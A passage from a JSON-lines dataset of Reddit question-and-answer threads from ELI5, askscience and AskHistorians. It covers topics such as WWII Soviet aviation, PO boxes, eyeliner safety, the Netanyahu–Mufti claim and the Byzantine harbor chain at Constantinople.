bf-109 Fs, additionaly the western allies began sending planes under the lendlease agreement such as spitfires, p40s, p39s and A-20s which unfortunatly the soviet tactics were not very good for many (however the soviets loved the p39s and A-20s). Near the end of the war new designs were produced by the Soviets such as the  La-7 and 9 these planes while not seeing much fighting were very powerful.  \n\nTo answer the second part of your question, the Soviet pilots were trained as well and later in the war much better than the german pilots. Additionaly the planes these pilots flew were often equal to the german planes and in the many cases where they were not they would be used in diffrent ways (for instance the Po-2 being used as a night bomber to great effect and the I-15s being used very well in the caucasus mountains as the german fighters could not manuver through the valleys as well as the bi-planes). However in the early years of the war the soviet airforce was orginised very badly leading to situations where bombers would fly without escort and fighters would be sent to attack convoys (this was slowly fixed in 1942 - 43). I also feel it is useful to point out that the soviets were the only ones alowing women to serve on the front lines including in the air force such as the famous 'Night Witches' they were a part of three women only aviation regiments however women were allowed in all regements such as Anna Egorova whom was the first female pilot to fly the IL2.\n\n & #x200B;\n\nFinally the german aces that had many kills the 100+ kills they would get were mostly from the spanish civil war and other early conficts where their aircraft were far better aganst pilot that had only learned to take off and land these pilots while still incredibly skilled could not be replaced later in the war as fuel shortages hit the luftwaffe and training was the first thing that was done less of "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hb13s", "title": "Are \"Diodes\" That Are Meant To Protect Against \"Electromagnetic Field (EMF) Exposure\"(Cell Phones and Other Devices) Actually Legit?", "selftext": "[Here](_URL_0_) is the first result on Google basically typing keywords from my post. I'm quite skeptical towards their legitimacy and was wondering if anyone who knows more about these things could weigh in. Much Appreciated!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hb13s/are_diodes_that_are_meant_to_protect_against/", "answers": {"a_id": ["c1u0ski"], "score": [2], "text": ["looks like crap to me."]}, "title_urls": [], "selftext_urls": ["http://www.toolsforwellness.com/62083.html"], "answers_urls": [[]]}
{"q_id": "adyjj1", "title": "how do po boxes work", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/adyjj1/eli5_how_do_po_boxes_work/", "answers": {"a_id": ["edl1irx", "edl1jxg", "edl1k9k", "edl1pqq", "edl43el"], "score": [6, 3, 5, 5, 2], "text": ["It is just a separate address that the post office keep track of.\n\nYou CAN get physical boxes that you get keys for at the post office where you mail is placed into and you go to pick it up from the box.  (Like your own mail box but at a post office)\n\nOr you can just have your mail saved at the post office until you go to pick it up.  The zip code/post code just tell the post office where in the country it needs to go to.  The po box number is just a code for you, each member gets their own unique number.\n\nSome online po box service will open,scan and save your email to an online system so you never physically see the post itself.", "Yes, PO box numbers are typically sequential or nearly sequential numbers from an arbitrary range representing the numbers chosen for labeling the boxes at a given post office.   \n\nZip codes do not convey the box number, although the extended zip codes might provide some partial information.", "It's a mailbox at the post office, each box has its own number. Po box # city and state is all you need and the post office routes it to your po box. ", "PO box numbers are just a number - they are unique within that PO but not across the US.  Each person does have their own PO box number, and along with the state/city/zip, it is unique.\n\n\nJust like any other address.  There are tons of \"123 main street\" addresses - they are not unique without the city/state/zip", "At a post office, there are rows of small boxes, each with a different number. The ZIP code is tied to the local mail facility in which the box is located, and the P.O. Box is the specific box within that facility."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1gyc80", "title": "why do movie studios and a-list actors continue to work with m. night shyamalan?", "selftext": "For the past decade the guy has consistently made terrible movies that lose money.  He has a proven track record of failure.\n\nWhy do people keep giving him chances?  \n\nI can't figure it out.  Is it some elaborate accounting scheme to get a tax write off?  Maybe like [The Producers](_URL_0_),  where the the studio executives are actively *trying* to produce a flop?  I just don't understand how anyone can look at his previous work and say to themselves, \"yeah, let's give this guy millions of dollars to make a movie.\"", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gyc80/eli5_why_do_movie_studios_and_alist_actors/", "answers": {"a_id": ["cap19a1", "cap1skf", "cap3k5e", "cap3qh3", "cap3sv5", "cap3u6z", "cap3xjm", "cap5irb", "cap5lxa", "cap6qfy", "capayb0"], "score": [146, 23, 11, 79, 5, 10, 34, 4, 2, 3, 7], "text": ["The problem here is that you have a flawed premise. Shyamalan's movies don't lose money. I think Lady in the Water was his weakest movie in the box office thus far, and he's released several since then. Even The Last Airbender made back its budget handily, and that's widely regarded as his worst film.\n\nActors do it for paychecks, as they get paid regardless of how the movie does (unless they get a percentage deal, which is pretty rare).", "that's how I feel about Jennifer Aniston. She can NOT sell a movie as its star. Yet she's still considered the very top of A-list actresses. I just don't get it.", "because his movies aren't that bad. they get a lot of hate but people still watch them so theyll still buy tickets to it.", " > I have never seen it, but by all accounts it is terrible. However, I have seen the house that it built, and it is terrific.\u201d\nMichael Caine on Jaws: The Revenge\n\nThat's why.", "M. Night Shyamalan has created his brand to be \"high concept, showing a small family unit's emotional healing while coping with a scary experience, plus a twist ending\", and that is always going to sell to A list actors and studios.  Ridley Scott is another director who made two good movies and then several decades worth of ho hum pabulum, but he's not going to be running out of directing gigs any time soon either.  ", "Shyamalan's movies still have great box office returns even though they are critically panned. The public hasn't coming to the conslusion he is a terrible director yet and all they remember is The Sixth Sense. Look at each film individually - they all make profits.", " >  \"yeah, let's give this guy millions of dollars to make a movie.\"\n\nBecause when they give him a million dollars, this guy gives them back four. That's why.\n\nThe Happening, which if I recall correctly, was horrendous, grossed **four times as much** as it had budget.", "Here's one of the other reasons besides he keeps making movies that make money.  Stick with him, and he might hit another one out of the park larger than the first.  I mean, yeah, as long as you keep making even a small amount of money, why not?", "His movies DO make money, hence why he's allowed to keep making them. Other entries here can give you more specifics, but it's the same reason why those critically panned \"parody\" movies (Epic Movie, Not Another Teen Movie, Vampires Suck, etc etc) keep being made. No studio is going to keep green lighting projects by guys that aren't making money. \n\nIt should be noted though that his most recent movie, After Earth, was his first movie to not have his name very pronounced (Look at all his other posters and his name is prominently displayed.) So even though they're still willing to work with him from a financial standpoint, movie companies have realized that M. Night is no longer a positive selling point. ", "They continue to give Adam Sandler money to make movies and I can tell you those movies are far worse than M. Night's.\n\nHollywood accounting says that as long as they make money does it really matter? Studios dont just make money on straight theater sales. There is licensing, there is streaming, dvd, etc etc etc.", "I'd rather watch another bad M. Night film before sitting through another super hero movie."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/The_Producers_%281968_film%29"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6i5ytp", "title": "How important is the history of individual corporations?", "selftext": "In the 20th century, corporations grew to be among the most powerful institutions in our world, rivalling governments in their finances or religions in the reach of their messages.\n\nRather than treating them as part of an industry or a national economy, or the creation of individual businesspeople, how important is it to look at the history of individual corporations?\n\nIn other words, how much do we learn by looking at the actions, structure, culture, etc. of Boeing? How much do we miss if we view IBM as an essentially generic part of the computing/IT industry, rather than an organisation with distinctive characteristics?\n\nThis certainly seems like an area that doesn\u2019t get *talked about* much \u2013 is that a reflection of academia or not?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6i5ytp/how_important_is_the_history_of_individual/", "answers": {"a_id": ["dj3xp4a"], "score": [3], "text": ["There are historians who have looked at individual corporations. The two places where this is common is the history of business, where the practices of a single big player can cause massive changes in the way the economy operates at times (e.g., Lewis Ranieri and Salomon Brothers and the mortgage-backed security, or the South Sea Company and its bubble, for example). The other place is in the history of technology, where there have been significant technological/industrial/governmental trends associated with major industrial firms, e.g., the DuPont corporation (David Hounshell, _Science and Corporate Strategy: Du Pont R and D, 1902-1980_), or the Germany chemical industry (BASF, Bayer, etc., which pioneered a ton of important interactions), or even the specific management styles of major military-industrial contractors (e.g. Thomas P. Hughes work on Convair and Project Atlas in his _Rescuing Prometheus_). There are, indeed, histories of IBM that frame it in different and very specific ways (Edwin Black's _IBM and the Holocaust_ is perhaps an extreme version of that). In my own work I have spent a lot of time with the history of one small Michigan company (KMS Fusion) where the specifics of the company and its main actors are very important to the unfolding of a much larger story about nuclear technology in the United States (in the 1970s, they tried to develop, and patent, a new form of fusion reactor that the government deemed used classified technologies, and, unusually, they fought the government on this, which created all sorts of havoc). There are even some big, popular books about some of these companies, e.g., Gerner's _The Idea Factory_ which is about Bell Labs (a corporate research laboratory), which was a bestseller.\n\nSo I'm not sure if it isn't talked about much. Business history is a field of history, has its own conferences and professors, and is often split between historians and economists and people at business schools. It definitely has its \"tendrils\" into other fields of history, like the history of science and technology (which is what I know the best, so I may over- or underestimate its influence elsewhere as a result of my own exposure biases). The main difficulties of doing this kind of work are that business archives are often closed, destroyed, or otherwise inaccessible \u2014 if the business is totally out of business, then they might just be _gone_, if they're in business, they are often tightly controlled for fear of negative publicity or liability (viz. my example about IBM and the Holocaust). Businesses sometimes employ historians to write their own internal, institutional histories (History Associates is a company that provides these services) but such histories are necessarily a bit self-serving and warped by the patronage (which doesn't mean they are bad, it usually just means they are _boring_). \n\nBut yes, such work exists, has existed for awhile, still exists. There is, for example, an annual Business History Conference; you can see [the kinds of work that are presented on their most recent conference program](_URL_1_). (Apologies for linking to a cached version of the page... [their site](_URL_0_) seems to be having some technical issues at the moment.) Most of the papers seem larger in scope than individual corporations, but some are not (e.g., there is one that seems to be entirely about practices of the Eastman Kodak Company, which is one of those companies of sufficient importance and size to definitely attract a historian's attention).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thebhc.org/2017-program", "http://webcache.googleusercontent.com/search?q=cache%3Awww.thebhc.org%2F2017-program&amp;ie=utf-8&amp;oe=utf-8"]]}
{"q_id": "6gfffb", "title": "why is the word \"late\" used to describe someone who is deceased?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6gfffb/eli5_why_is_the_word_late_used_to_describe/", "answers": {"a_id": ["dipup75"], "score": [138], "text": ["One of the old meanings of \"late\" was \"occuring in the recent past\". Nowadays this meaning only really survives in the phrase \"of late\" and the adverb \"lately\".  \n\nIn this sense, when a person was described as late it meant that they had only recently died (i.e. they were a living person up until the recent past).  \n\nAnd although it no longer fully carries the connotation of the death being in the recent past, it is still only really used for people who were alive in living memory (eg it would sound odd to refer to \"the late Ludwig van Beethoven\", just about OK to refer to \"the late Jimi Hendrix\", and fine to refer to \"the late Chuck Berry\")."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "10tgxw", "title": "If water is incompressible, how do sound pressure waves travel through water?", "selftext": "Transfer of force in hydraulic systems seems to rely on water being incompressible, but diagrams of longitudinal waves, like [this one](_URL_0_), seem to show particles in the medium compressing at wave fronts and decompressing again behind them.\n\nHow can these pressure variations form in water if it cannot be compressed?\n\nThat said, if water is truly incompressible, how does pressure vary with depth in, say, the ocean? Is water's incompressibility just a convenient assumption for certain applications, or do I misunderstand how sound waves propagate?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10tgxw/if_water_is_incompressible_how_do_sound_pressure/", "answers": {"a_id": ["c6gh1f3", "c6gh452", "c6gs0xl"], "score": [19, 54, 2], "text": ["Water is approximated as incompressible because that is sufficiently close to reality for most purposes.\n\nThe increased pressure in the ocean, for example, has next to nothing to do with compression. The increase of pressure is due to the weight of the water (and air) above.\n\nTo compress water to 90% of its original volume at 0\u00b0 C, you would need a pressure of around 2000 bar, which is equivalent to over 18 km of depth. The deepest point in the ocean is only 10.9 km. ", "Water can be compressed, just not as easily as air at the same temperature.\n\nTo illustrate the behaviour of sound through water with an little example: imagine 3 billiard balls in a row with 5cm distance between them. If you push the first one, it will hit the second, which will hit the third. This is a primitive illustration of how air behaves. Now put them in a row again, but without any distance. Now push the first ball. That's how sound travels through water and this is why sound \"travels\" faster through water.", "is the same true about automotive brake fluid? (and if so, somebody fix that)"]}, "title_urls": [], "selftext_urls": ["http://www.acs.psu.edu/drussell/Demos/waves/Lwave-v8.gif"], "answers_urls": [[], [], []]}
{"q_id": "ekp1og", "title": "even if it's the same temperature, why is it so much more refreshing to drink something from a glass filled with ice, than drinking the exact same liquid straight from its own container?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ekp1og/eli5_even_if_its_the_same_temperature_why_is_it/", "answers": {"a_id": ["fdcztih"], "score": [2], "text": ["If the container has been in a refrigerator then it's probably only at 4 & #8239;C whereas a mix of drink and ice will be at 0 & #8239;C.  This makes a noticeable difference.  Containers cooled in a bucket of ice will also be at 0 & #8239;C which is why making drinks available this way at parties is common, even apart from the added convenience of not having to open the refrigerator."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a24sm2", "title": "how do ginger beer, ginger ale and ginger wine differ?", "selftext": "Hi there. I'm a big fan of all things Ginger, be it good old fashioned Ginger Beer or Jamaica ginger cake.\n\nI'm interested in the difference between the three drinks in the title in terms of how they're made and taste differences.\n\nHopefully there's a ginger connoisseur out there who can answer :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a24sm2/eli5_how_do_ginger_beer_ginger_ale_and_ginger/", "answers": {"a_id": ["eav5t7e", "eav76or", "eav9h91", "eavcuax"], "score": [51, 20, 6, 4], "text": ["Ginger ale tends to be the lightest, mildest form. Ginger beer is a similar fizzy liquid, but with a stronger firier flavour. Ginger wine is syrupy and alcoholic.", "Ginger beer is usually a fermented root tonic . Ginger ale is a ginger flavoured lemonade basically not usually sweet. Ginger wine is a wine made ginger similar to a port but not grape based. ", "In the USA, ginger ale and ginger beer are sodas- non-alcoholic carbonated soft drinks. Ginger beer is sweeter and much more gingery than ginger ale, and not as common. Ginger beer is currently getting a boost in popularity because of the Moscow Mule, a mixed drink. I have never seen ginger wine here.", "I\u2019m entirely sure you make ginger wine by mixing Detol with ginger root then running it through the central heating pipes until December, at which point your granny will produces an unlabelled bottle of the stuff and offer you some mixed with lemonade. The trick is finding somewhere to pour the resulting ichor where it won\u2019t melt through the floor and sever a gas main."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5izvyc", "title": "can the air inside the bubbles of a bubble wrap contain diseases from the area in which it originated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5izvyc/eli5_can_the_air_inside_the_bubbles_of_a_bubble/", "answers": {"a_id": ["dbc8spg", "dbcaj5d", "dbchu4n"], "score": [6, 42, 12], "text": ["Wouldn't the temperature of the moulded plastic kill potential pathogens in the air used to fill it?", "Air is not all that good at carrying a disease. So it would be more likely that it would be some kind of liquid (like a sneeze) inside a bubble.\n\nHowever, [the way bubble wrap is made](_URL_0_)  is not really conducive to a pathogen's survival.\n\nIn short, no. Bubble wrap should not be one of your fears. ", "The air inside is sterile! Check out this paper: _URL_0_\n\nAlso, I remember listing to a podcast way back when where they talked about using bubble wrap as super low cost cuvettes or incubators (I don't remember) in third world countries. I tried googling based on a vague memory and got nowhere :( "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=VOExPFi6Ggo"], ["https://dash.harvard.edu/bitstream/handle/1/25811020/Bwambok_AdaptiveUse.pdf?sequence=1"]]}
{"q_id": "162rdg", "title": "Irisin hormone, why has a discovery this important gone by without hardly any mention?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/162rdg/irisin_hormone_why_has_a_discovery_this_important/", "answers": {"a_id": ["c7s67xp"], "score": [2], "text": ["_URL_0_\n\n >  After 10 days of treatment with the irisin injections, the mice lost a small amount of weight\n\nThis does not sound earth-shattering. What makes you think it's such an important discovery? Also _it's_ is a contraction of _it is_. The possessive of _it_ is _its_.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Irisin"]]}
{"q_id": "3vlizl", "title": "Was there any G20 style summit for kings in the Medieval times?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vlizl/was_there_any_g20_style_summit_for_kings_in_the/", "answers": {"a_id": ["cxp3jp7", "cxp57dg"], "score": [9, 3], "text": ["Travel was very difficult and as such, Kings rarely met each other in person let alone twenty of them meeting in a summit. Even beyond the medieval era, early modern kings still seldom met each other.\n\nCharles V met Francis I of France because the latter was captured and brought to Spain. They met a second time when Charles needed to get to the Low Countries in a hurry, and Francis invited him to visit Paris and travel through there instead of going by sea. \n\nFrancis I met Henry VIII only once, during the meeting at the Field of Golden Cloth, to set up an alliance against Charles V. The two young dashing kings danced together and spent the night together as a sign of trust. \n\nCharles V met Henry VIII maaybe once, either when his sister Catherine of Aragon was first married to Arthur the elder brother of Henry VIII who then deceased, or when she was then married off to Henry VIII the next in line for the English crown. \n\nAnd Charles V was considered one of the most well traveled kings of the early modern era. \n\nIn the medieval era, kings sometimes saw each other while campaigning on a Crusade. But I wouldn't call those a G20 summit.", "the Closest thing would be the a church summit or election of a HRE.  where the highest highs of german dukes would gather.\n\nIn a way each county's House of Lords/council of state  was a G20 summit.  the world was smaller - but each of those great lords was a world economy unto himself.  In some countries the Lords might own up to 50% or more of the land/wealth of the country.\n\nSo the Duke of Norfolk might easily be equivalent to the GDP of Belgium in the smaller world of medieval states (and given the independence of medieval lords -  just as independent in policy).\n\nMedieval lords also had their own armies, trade relations, tax systems. and in places like france and germany - may actually be far wealthier than the King."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1jzs1s", "title": "how exactly do saline pools work?", "selftext": "How does a saline pool system work compared to a chlorine system? Is it as effective?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jzs1s/eli5how_exactly_do_saline_pools_work/", "answers": {"a_id": ["cbjw8rc", "cbk7isq"], "score": [16, 2], "text": ["Salt water pools still use chlorine, the difference is that the chlorine is produced through electrolysis using the salt as the base material. The advantage is that the salt electrolysis process creates free chlorine ions (the type of chlorine that kills bacteria) and burns off chloramines (the type of chlorine that burns your eyes and smells like strong bleach). As long as they are maintained they will work just as well at killing bacteria, and people tend to find them less irritating, especially if they have sensitive skin. The salt system also has the benefit of \"softening\" the water. They tend to have a higher initial setup cost though, and saltwater is more corrosive than freshwater so you have to keep an eye on the internals and plumbing of the filtration system.", "Salt water pools are also much more damaging to local eco systems, if drained improperly they will destroy vegetation and if sent down storm drains they will wreck havoc on water treatment systems.\n\nThis why many municipalities want to ban them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3pm4jc", "title": "Netanyahu recently claimed that Hittler wished to expel the Jews and it was Haj Amin al-Husseini who persuaded him to exterminate them. Is there any evidence for this?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pm4jc/netanyahu_recently_claimed_that_hittler_wished_to/", "answers": {"a_id": ["cw7jn48", "cw8jp7g", "cw8ngpg"], "score": [410, 2, 10], "text": ["No. There have been books written about thesis (I don't remember the title at the moment) but it is completely bullshit. It is completely against any established Holocaust research.\n\nAnd some other things, the mass murder of Jews started before Hitler met the Mufti and antisemitic violence was established in NSDAP, in written manner, as early as Mein Kampf was published (1924).\n\nThe Holocaust is generally thought of as a series of escalating stages, and the idea that Hitler met some, in the grand scheme of things, unimportant person and completely changed his stance on Jews (Antisemitism is THE only thing that really kept everyone in the NSDAP together) is quite frankly ridicilous.\n\nThe decision of other countries to stop taking in jewish refugees from Germany is certainly more important in the development of the Holocaust than what the Grand Mufti of Jerusalem said or didn't say.\n\nAmong those questioning Netanyahu\u2019s interpretation of history was Prof Dan Michman, the head of the Institute of Holocaust Research at Bar-Ilan University and head of the International Institute for Holocaust Research at Yad Vashem. He said that while Hitler did indeed meet the mufti, this happened after the Final Solution began.\n\n\"Among those questioning Netanyahu\u2019s interpretation of history was Prof Dan Michman, the head of the Institute of Holocaust Research at Bar-Ilan University and head of the International Institute for Holocaust Research at Yad Vashem. He said that while Hitler did indeed meet the mufti, this happened after the Final Solution began.\"\n\n_URL_0_\n\n\nedit: It is the attempt at gaining political capital, nothing more, nothing else.", "I was watching \"woman in the gold dress\" and it showed some Jews applying to go to the US before the war started.  The Germans refused to let them leave.\nWas this true and common?\n\nI always wondered how things would of turned out if the US had offered to take any and all Jews.", "The Mufti met Hitler in November 1941. By that time, the systematic murder of Jews by the Nazis had been underway in the Soviet Union since June 1941 for male Jews and since August 1941 for women and children. The Wehrmacht in Serbia had already begun executing the male Jewish population in hostage reprisal shootings. Around the time they met, the Sonderkommando Lange had begun construction of the Kulmhof extermination camp for the Jews of the Litzmannstadt Ghetto.\n\nIt is still unclear when the decision was made to systematically murder all of Europe's Jews, not just those of the Soviet Union, but most serious historians (e.g. Christopher Browning) will point to somewhere in October 1941; before Hussayni arrived in Germany.\n\nWe have the records of their meeting in November 1941. During their meeting, only one mention was made by Hitler that he was going to do away with the Jews in Palestine. With the Mufti having arrived in Germany just one month prior, it is highly unlikely that he at that time understood what Hitler meant. Later on, the Mufti certainly discovered that the Germans were murdering Jews systematically and he didn't object to it but he certainly didn't give them the idea.\n\nThe Mufti certainly didn't play a central role but was an convenient and at times annoying collaborator of tertiary importance to the Nazis.\n\nThe Mufti was also never sought by Nuremberg for prosecution. Several Zionist organizations wanted him to be tried there but the British deemed him not important enough. Also, the Yugoslavians wanted him tried, mainly for his role in recruiting the Handjar Division of the Waffen-SS but again, this was deemed not important enough for Nuremberg.\n\nSources:\n\n* Gensicke, Klaus (2011). The Mufti of Jerusalem and the Nazis: The Berlin Years. Vallentine Mitchell Publishers.\n\n* Achcar, Gilbert (2010). The Arabs and the Holocaust: The Arab-Israeli War of Narratives. Chastleton Travel.\n\n* Gerhard H\u00f6pp (Hrsg.) : Mufti-Papiere. Briefe, Memoranden, Reden und Aufrufe Amin al-Husainis aus dem Exil 1940\u20131945. Schwarz (Schiler), Berlin 2001."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.theguardian.com/world/2015/oct/21/netanyahu-under-fire-for-palestinian-grand-mufti-holocaust-claim"], [], []]}
{"q_id": "qi38e", "title": "Are women who put eyeliner on the waterline of their eyes potentially doing long-term damage to their eyes?", "selftext": "I've heard that in the short-term it can lead to infections or irritation, but, since it is essentially rubbing dyed wax into the area surrounding your eyes, can it have long-term effects?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qi38e/are_women_who_put_eyeliner_on_the_waterline_of/", "answers": {"a_id": ["c3xsu3s", "c3xsvh8", "c3xswag", "c3xsy1m", "c3xt0yb", "c3xulce", "c3xvde1", "c3xvhy9", "c3xw3dw"], "score": [246, 25, 40, 8, 141, 6, 4, 13, 6], "text": ["Sharing eyeliner can lead to infection, however using eyeliner on the waterline shouldn't cause infection unless you improperly store/use your make-up. Most eye make-up has preservatives that will retard the growth of bacteria. \n\n\n It can, however, irritate your eyes and tearducts. Also, people who are allergic to certain materials common in make-up (nickel, fragrances, etc.) can have reactions.\n\n[This](_URL_0_) is a University's Department of Ophthalmology's page about make-up and eye safety. ", "Provided that the products you are using are sterile there should not be health impacts barring allergic reactions in the US. This means that improperly maintained products or shared items can lead to infection. Irritation is an individual basis. (e.g contacts can be irritating for some but not others).\n\nThe FDA approves eyeliners and as of this point the research indicates that most eyeliners sold in the US should have no negative health impacts. (again barring insanitary conditions or individual health issues).  However, there are some eyeliners such as ones that contain heavy metals and such that can cause long term health impacts. \n\nEssentially, know what products you're using and what they contain. Look up ingredients and understand their toxicity and health impacts. \n\nI don't have sources for everything, but here is a place to start: _URL_0_", "Here is a case where a woman with a history of dry eyes was found to have conjunctival lesions. After biopsy and histopathologic study, the doctors found that they contained material consistent with eyeliner/mascara. [Source](_URL_1_)\n\nAlso by using eye cosmetics you run a chance of having an allergic reaction called contact allergic blepharoconjunctivitis (Blepharo- meaning eyelids). [Source](_URL_0_)\n\nBased on the lack of research into the subject, it seems like this type of long-term problem, while possible, is rare. It appears that short-term sequelae like conjunctivitis is a more common problem associated with eye makeup.", "If by long-term you mean irreversible, no. Cells that line wet areas of your body that are under constant friction (like your waterline, inside of your mouth, small intestine, etc...) are continuously sloughed and replaced anyway, so any physical damage done during normal application would quickly heal. Also, the ingredients in the makeup should be non-toxic, which means no chemical damage to the area can occur either.\n\nObviously, short-term irritation can occur from overuse, just like if you pick your nose too much or wear braces, or a stye could develop from clogging a tear duct, but both of those are harmless. Also, there's always the remote possibility of an allergic reaction to something in the makeup, which I guess if it were severe enough or ignored, long-term damage to the tissue could result (e.g. scarring from chronic inflammation). On the whole, though, there's nothing to worry about.\n\nSource: Med school.", "Using makeup behind the insertion of the eyelashes puts it right at the opening of Meibomian glands. If you have anterior or posterior blepharitis, putting make up on in this zone can aggravate these conditions, leading to chronic conjuntivitis, styes and chalazions. ", "So I guess the follower question would be, what are safer alternatives to using popular eyeliners?", "Is the waterline the \"normal\" place for eyeliner, or is it intended to go on the outer rim of the eyelid?", "Didn't the ancient Egyptians use some sort of \"eye-liner\" to prevent eye infections?", "Can we get a diagram of where you can/shouldn't put on makeup?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.uic.edu/com/eye/LearningAboutVision/EyeFacts/Cosmetics.shtml"], ["http://www.fda.gov/Cosmetics/ProductandIngredientSafety/ProductInformation/ucm137241.htm"], ["http://www.ncbi.nlm.nih.gov/pubmed/22382607", "http://www.ncbi.nlm.nih.gov/pubmed/22327635"], [], [], [], [], [], []]}
{"q_id": "so5sz", "title": "difference between chorus, flange, and phase guitar effects", "selftext": "I've been playing music for awhile and been diving more into effect pedals, and I sort of understand the difference between the above effects, but they are all so similar to each other I was wondering if someone with more knowledge could break them down a little more for me.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/so5sz/eli5_difference_between_chorus_flange_and_phase/", "answers": {"a_id": ["c4fkgwd", "c4fkk6o", "c4fknc9", "c4fmfg4"], "score": [3, 2, 2, 2], "text": ["phaser\n\n_URL_0_\n\nflanger\n\n_URL_2_\n\nchorus\n\n_URL_1_\n\n", "Beautiful examples of the Flanger:\n\n_URL_1_\n\n_URL_0_", "[Not exactly related](_URL_0_), but does a good job of describing distortion, overdrive and fuzz pedals. Just a thought if your studying pedals.", "Like a five year old: when you play music into a Chorus and a Flange pedal, they both do basically the same thing.  They're recording you and playing it back very quickly, just in an odd way (grown up version involves delay lines and LFOs).  The difference between the two is that Chorus pedals play back a bit more slowly than Flangers, and try to make it sound like multiple people are playing whatever it is you're playing.  Flangers play back more quickly, and try to make you sound weird, but in a cool way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=0T_L4qYRi7s&amp;feature=relmfu", "http://www.youtube.com/watch?v=zmN7fK3fKUE", "http://www.youtube.com/watch?v=NAqQvs_WXs8&amp;feature=relmfu"], ["http://www.youtube.com/watch?v=TF_weFqF47Q", "http://www.youtube.com/watch?v=_tBZTBYJJ-Q"], ["http://www.reddit.com/r/Guitar/comments/siesy/a_guide_to_the_differences_between_distortion/"], []]}
{"q_id": "7s75la", "title": "During the Siege of Constantinople the Byzantines deployed a \"chain\" to stop Ottoman ships from reaching the northern wall of the city. What was this chain made of, and why was it so effective?", "selftext": "I was reading up on this battle and this caught my interest.  The Ottomans eventually wheeled their boats around the chain on land quite a distance to get to the north side of the city, so I am curious how a chain could be so effective a tactic to stop these boats that they would be forced to do this. Did they try and cut the chain or weigh it down  enough to let the boats go over?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7s75la/during_the_siege_of_constantinople_the_byzantines/", "answers": {"a_id": ["dt2l8wu", "dt34lrp"], "score": [475, 5], "text": ["The chain or boom is a fairly common means of defending harbors or waterways from antiquity to modern times. See, for example, the [anti-submarine chain](_URL_0_) that was constructed at Fort Wadsworth, Staten Island, New York in the twentieth century or the much earlier example in [Aeneas Tacitus](_URL_1_), who claims a man betrayed the city of Chios in the 4th c. BC by convincing the local townspeople to bring in the chain of the harbor for maintenance. Made of both wood and iron, the chain stretched across a body of water between two defensive points. \n\nThe famous chain which you reference is the chain of the Golden Horn, recorded to have been used only four occasions\u2014the sieges of 821, 969, 1203, and 1453\u2014, although I suspect it saw much more activity then that. In an excellent article on harbor chains, Benjamin Kedar draws attention to the Islamic geographer Ibn Hawqal, who in the late 10th c. observed the chain being used to require that ships visit the custom house, presumably so the tax man could get his due. Joannes Phocas, an Byzantine pilgrim visiting Beirut in 1185, noted in his observations of the city the strength of the city's great harbor chain as a good sign of the town's defensibility. Contrary to what we would assume, the chain didn't necessarily just hang above the water, but often floated! Nor was the chain expected to stop a ship from moving into a harbor all on its own, but rather was meant to slow and delay ships so that other defensive measures could be taken, either by land or by sea. In 1453, for example, the Byzantines placed ships behind the chain to help ward off the Ottoman fleet. \n\nThere were ways around the chain. Ships could shift their weight so that the chain was pushed under the boat's bow, allowing the ship to then tip over to the other side or use its weight to try and snap the chain itself. In one of the sagas, Snorri records that Harald Hardrada escaped the harbor of Constantinople in this way\u2014having his men rush from one side of the boat to the other. But, such heroic efforts took time and great risk that, unless you happen to be a hero in Snorri's saga, most were unwilling to take. More often ships would attempt to pressure the chain until it snapped or seize control of one of the towers from which it hung.\n\nMuch like a urban center's wall, the chain was a defensive instrument whose health was a point of pride to the community; thus it is unsurprising that maintence of the chain was often an importance focus of in harbor towns. In the fourteenth century, New Rochelle created a special office of warden for their tower chain and the notarial registers of Marseille, rich in detail that they are, reveal that the guardianship of the chain became a focal point of dispute rather regularly. Indeed, the chain of a city was often regarded as a trophy that conquerors took and brought back to remember their great victories. After breaking Pisa's harbor open in 1287, the Genoese placed the \"irons of the chain\" inside the cathedral church of San Lorenzo. After all, the remnants of a chain are much easier to display alongside a banner than, say, the broken fragments of stone that might come from a 